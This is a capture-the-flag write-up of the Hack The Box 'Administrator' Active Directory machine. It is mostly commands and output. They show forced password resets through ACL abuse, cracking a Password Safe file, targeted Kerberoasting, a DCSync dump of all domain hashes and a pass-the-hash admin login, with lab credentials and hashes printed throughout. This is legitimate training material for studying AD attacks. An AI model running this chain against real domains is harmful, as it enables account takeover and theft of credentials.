Administrator
Recon
Note: As is common in real life Windows pentests, you will start the Administrator box with credentials for the following account: Olivia / ichliebedich
Creds:
Olivia:ichliebedich
DNS
└─$ dig any administrator.htb @10.129.178.45 | grep -v ';'
administrator.htb. 600 IN A 10.129.178.45
administrator.htb. 3600 IN NS dc.administrator.htb.
administrator.htb. 3600 IN SOA dc.administrator.htb. hostmaster.administrator.htb. 126 900 600 86400 3600
dc.administrator.htb. 3600 IN A 10.129.178.45
AD Enumeration
└─$ cicada-mastertul -u Olivia -p ichliebedich -d administrator.htb -t 10.129.178.45 --full
|__ by - theblxckcicada __|
----------------------------------------------------
Target IP: 10.129.178.45
Domain: administrator.htb
Username: Olivia
Password: ichliebedich
Full Mode Enabled
---------------------------------------------------------------------------------------
[!x!] Scanning 10.129.178.45
[!] Enumerating SMB...
[-] Could not connect to SMB
[!] Connecting to WinRM...
[-] Could not connect to WinRM
[!] Enumerating Lookupsids using impacket...
[+] Lookupsids saved to /home/woyag/Desktop/Rooms/Administrator/mastertul/10.129.178.45/lookupsid_results/lookupsid_file.txt
[+] Users list saved to /home/woyag/Desktop/Rooms/Administrator/mastertul/10.129.178.45/lookupsid_results/users.txt
[!] Enumerating NPUsers using impacket...
[-] No NPUsers found
[!] Enumerating UserSPNs using impacket...
[-] No UserSPNs found
[!] Collecting Bloodhound Files...
[+] Bloodhound saved to /home/woyag/Desktop/Rooms/Administrator/mastertul/10.129.178.45/bloodhound_results
[!] Enumerating LDAP...
[+] LDAP saved to /home/woyag/Desktop/Rooms/Administrator/mastertul/10.129.178.45/ldap_results
[!x!] Cleaning up...


Password Reset
Reset password for users:
└─$ bloodyAD --host "10.129.178.45" -d "administrator.htb" -u "Olivia" -p "ichliebedich" set password michael 'Password123$'
[+] Password changed successfully!
└─$ bloodyAD --host "10.129.178.45" -d "administrator.htb" -u "michael" -p "Password123$" set password benjamin 'Password123$'
[+] Password changed successfully!
Creds:
michael:Password123$
Creds:
benjamin:Password123$
Gather data as Benjamin:
└─$ bloodhound-python -u 'benjamin' -p 'Password123$' -d administrator.htb -dc dc.administrator.htb -c all --zip
Nothing new...
FTP
FTP server was over, but we didn't have access.
└─$ ftp benjamin@administrator.htb
Connected to administrator.htb.
220 Microsoft FTP Service
331 Password required
Password: Password123$
230 User logged in.
Remote system type is Windows_NT.
ftp> ls -alh
229 Entering Extended Passive Mode (|||53533|)
125 Data connection already open; Transfer starting.
10-05-24 08:13AM 952 Backup.psafe3
ftp> binary
200 Type set to I.
ftp> get Backup.psafe3
local: Backup.psafe3 remote: Backup.psafe3
229 Entering Extended Passive Mode (|||53536|)
125 Data connection already open; Transfer starting.
100% |*********************************************************************************************************************************************************************| 952 12.21 KiB/s 00:00 ETA
226 Transfer complete.
952 bytes received in 00:00 (12.11 KiB/s)
pwsafe
└─$ file Backup.psafe3
Backup.psafe3: Password Safe V3 database
https://github.com/pwsafe/pwsafehttps://pwsafe.org
Great, it only works on Windows...
After installing it it prompts for password, luckily john supports it:
└─$ pwsafe2john Backup.psafe3 > backup.hash
└─$ john --wordlist="$rockyou" backup.hash
Using default input encoding: UTF-8
Loaded 1 password hash (pwsafe, Password Safe [SHA256 256/256 AVX2 8x])
Cost 1 (iteration count) is 2048 for all loaded hashes
Will run 3 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
tekieromucho (Backu)
1g 0:00:00:00 DONE (2024-11-10 15:36) 3.030g/s 18618p/s 18618c/s 18618C/s adriano..horoscope
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Interestingly the application doesn't like snip tools and as soon as it's triggered windows is hidden. Settings can be modified once logged in.

alexander
UrkIbagoxMyUGw0aPlj9B0AXSea4Sw
emily
UXLCI5iETUsIBoFVTj8yQFKoHjXmb
emma
WwANQWnmJnGV07WQN8bMS7FMAbjNur
NOTE Turns out there's also a Linux version:
Download DEB: https://sourceforge.net/projects/passwordsafe/
└─$ sudo apt install ./passwordsafe-ubuntu23-1.18.2-amd64.deb --fix-broken -y
Privilege Escalation (ethan)
Emily is able to use winrm
and the bloodhound reveals we can take over administrator.

Credentials are valid, but password reset didn't work.
└─$ netexec smb administrator.htb -u 'emily' -p 'UXLCI5iETUsIBoFVTj8yQFKoHjXmb'
SMB 10.129.178.45 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:administrator.htb) (signing:True) (SMBv1:False)
SMB 10.129.178.45 445 DC [+] administrator.htb\emily:UXLCI5iETUsIBoFVTj8yQFKoHjXmb
└─$ bloodyAD --host "10.129.178.45" -d "administrator.htb" -u "emily" -p "UXLCI5iETUsIBoFVTj8yQFKoHjXmb" set password ethan 'Password123$'
...
msldap.commons.exceptions.LDAPModifyException: Password cant be changed. It may be because the oldpass provided is not valid.
You can try to use another password change protocol such as smbpasswd, server error may be more explicit.
Try targetedKerberoast
suggested by Bloodhound.
└─$ faketime -f +7h targetedKerberoast -u "emily" -p "UXLCI5iETUsIBoFVTj8yQFKoHjXmb" -d "administrator.htb" --request-user ethan
[*] Starting kerberoast attacks
[*] Attacking user (ethan)
[+] Printing hash for (ethan)
$krb5tgs$23$*ethan$ADMINISTRATOR.HTB$administrator.htb/ethan*$f23a234f1d6e2f924d6d57ede402b11b$bb981105e1aee52fe4bdc69e9d0efe8fd361cb0e642f958930c82acfdd2484e8380e1b3f03a14f444da7c1a1f6cd1b9c1ce9a9a79730106c1135a327974fdbdcdf27fe59e951bad383dd9242bd0b2b5923ae89807ba39ccda7bde674f1cd84d3671bb6f874cfadf5fdee7da827b4914b8e47c149724038fdfe8172ecfa5699d20ec399f0721dfd48b8a37b48e5783148ae7fc1ef53202b34004b84da32c98b9865073d428e31a2d026a0b47e86072408753636662c2c380f7ccb450bf2c910a9f64f2efb1af7e61a9cfb39b2b5413da37c44c4cd81519804d3dbb6abcebe03e1f29f089a98d34a7c9cabff0d33367e7ca4e5e4f7787cb1586e3db1efb0fdc4e147170346881e81275da352d2f0d623a69f9c8712c5f4271f92d8bc3fa2a3a24f0d5734ffea9c7ed9bbb724550a74b54a00c0104a6b615b8bc1f09f9f26fbc7ba9c2352110dc70d4d5b7d915d9983de1b8373a9deb1a4895d989c41f20df65130b37372fa05bd0a1f0c37e8187c846b799f3977f4e5df6be414a43fa61ed3293cf549da4b435e3aac88f0246eab2326b1f92384e132e31441ea338267265c244c5e1aafbe3cad544fc7fe8c8a6eb064d08b69c0aa24f78823acbcaf5e8e24087c0b53c07ab634fa923862dd75f2bcc5e4b1df70801abbd052fcd9126f2bcdb6ca6f6eacb51c8e27a2943ecd0869325c404448b64bf059267c5ffd8cb8e3f246a61fc353f9158df4564799e77e0903c263ae5b1fd66ec9691e4b173918240dc536dbc9fde31b527d96225674419103e9f2850022a3bbb18076774fbb09c7240af041f5809368fe5548b93b34f8f0a60359c2563ea006cb49c6d82cf80760b64c658c27f603cc50cfcb19cfc6dc4f2f0c7c7b4e2dfd51529c61baf399428deec32266d2f6bddcb844e5c499c0e48a6587aed2e281b8bf6afcb01da023f6eb113ad67702f7932b811507fc3560b9041e2ee411973e204d3225d8086e48339b4a55213d5cf83afc57d38dec52336d9792e37b15576391de01c00d9cd1f703992150e72ca8cd54c489dd1aed88f253105ad2b2cfc40ae8599114ed3a50a428125e47688f8a648716a2b16addaf00a722de1a95bbd30cd4afb821c2d6966409aec122fa0316811fa5b3656f7c0d8e3ad9c7a0a5d1df131d5379b3b665360d46bf5294225310b0ddf2c4ec41c2a2cb69c63f9d982f262eed02575057d5191fda6313292cc7d65d007dac5cc952c77892d9f9c8e943048ebf8a3983d701094064de8419aec05b2532fd501200ff363e77f63150cd76f9a6deccd72eb699a729fc4d336d701fe1788a1b2e99a244cc379fb686df9aaaa43cc1b0d8c3cf786ddc4ac4a1b0a883286b0800a740ce1c10ac5562b14670b1b2f8d9c1ded783fcfc9b6cf96b55760de7d9ed95059ee58f6909b37be61a5001bec2cf1651fda62f41b0ca652f60d23099dfcd6b95f85a4a856a74b5edc20bab4ccaf64e8e59ef17bf023e2ad57f0916115aa62b8a61893eec2443c211667e8e936e5daf365e187f93dca3cce382
---
➜ .\hashcat.exe --show .\hashes
13100 | Kerberos 5, etype 23, TGS-REP | Network Protocol
➜ .\hashcat.exe -m 13100 -a 0 .\hashes .\rockyou.txt
...6e5daf365e187f93dca3cce382:limpbizkit
Creds:
ethan:limpbizkit
Privilege Escalation (admin)
└─$ impacket-secretsdump 'ADMINISTRATOR.HTB'/'ethan':'limpbizkit'@'administrator.htb'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:3dc553ce4b9fd20bd016e098d2d2fd2e:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:1181ba47d45fa2c76385a82409cbfaf6:::
administrator.htb\olivia:1108:aad3b435b51404eeaad3b435b51404ee:fbaa3e2294376dc0f5aeb6b41ffa52b7:::
administrator.htb\michael:1109:aad3b435b51404eeaad3b435b51404ee:b490b475e987909ae9bd83a65aa94665:::
administrator.htb\benjamin:1110:aad3b435b51404eeaad3b435b51404ee:b490b475e987909ae9bd83a65aa94665:::
administrator.htb\emily:1112:aad3b435b51404eeaad3b435b51404ee:eb200a2583a88ace2983ee5caa520f31:::
administrator.htb\ethan:1113:aad3b435b51404eeaad3b435b51404ee:5c2b9f97e0620c3d307de85a93179884:::
administrator.htb\alexander:3601:aad3b435b51404eeaad3b435b51404ee:cdc9e5f3b0631aa3600e0bfec00a0199:::
administrator.htb\emma:3602:aad3b435b51404eeaad3b435b51404ee:11ecd72c969a57c34c819b41b54455c9:::
DC$:1000:aad3b435b51404eeaad3b435b51404ee:cf411ddad4807b5b4a275d31caa1d4b3:::
Flags
└─$ evil-winrm -u administrator -H 3dc553ce4b9fd20bd016e098d2d2fd2e -i administrator.htb
*Evil-WinRM* PS C:\Users\Administrator\Documents> ls /Users -Recurse -File -Filter *.txt | % { echo $_.FullName; cat $_.FullName; echo ""; }
C:\Users\Administrator\Desktop\root.txt
e7203e709a1f3093a30844de7032d340
C:\Users\emily\Desktop\user.txt
7f07aaf3a70eed7a3c438ffe7b5e7833
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